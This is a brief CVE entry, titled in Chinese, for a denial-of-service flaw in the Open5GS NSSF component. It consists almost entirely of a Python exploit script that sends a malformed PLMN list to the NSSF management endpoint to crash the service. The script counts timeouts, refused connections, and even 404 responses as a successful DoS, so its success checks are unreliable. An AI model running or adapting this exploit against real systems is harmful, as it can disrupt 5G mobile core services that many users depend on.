CVE-2026-8121 Open5GS NSSF组件拒绝服务漏洞

import requests import json # Target configuration TARGET_URL = "http://target-open5gs-nssf:7777/nssf-nssf-management/v1/plmn-list" # Malicious payload designed to trigger parsing issues in ogs_sbi_parse_plmn_list # This payload mimics a malformed PLMN list structure malicious_payload = { "plmnList": [ { "mcc": "001", # Valid MCC "mnc": "01", # Valid MNC "tac": ["invalid_tac_format"] # Malformed TAC list to cause parsing crash }, { # Injecting unexpected data types "mcc": 12345, "mnc": None } ] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending exploit request to {TARGET_URL}...") response = requests.post(TARGET_URL, data=json.dumps(malicious_payload), headers=headers, timeout=5) if response.status_code == 500 or response.status_code == 404: print("[+] Potential DoS triggered. Server returned error code.") else: print(f"[-] Request returned status code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.Timeout: print("[+] Connection timed out. The service may have crashed (DoS successful).") except requests.exceptions.ConnectionError: print("[+] Connection refused. The service is likely down (DoS successful).") except Exception as e: print(f"Error: {e}")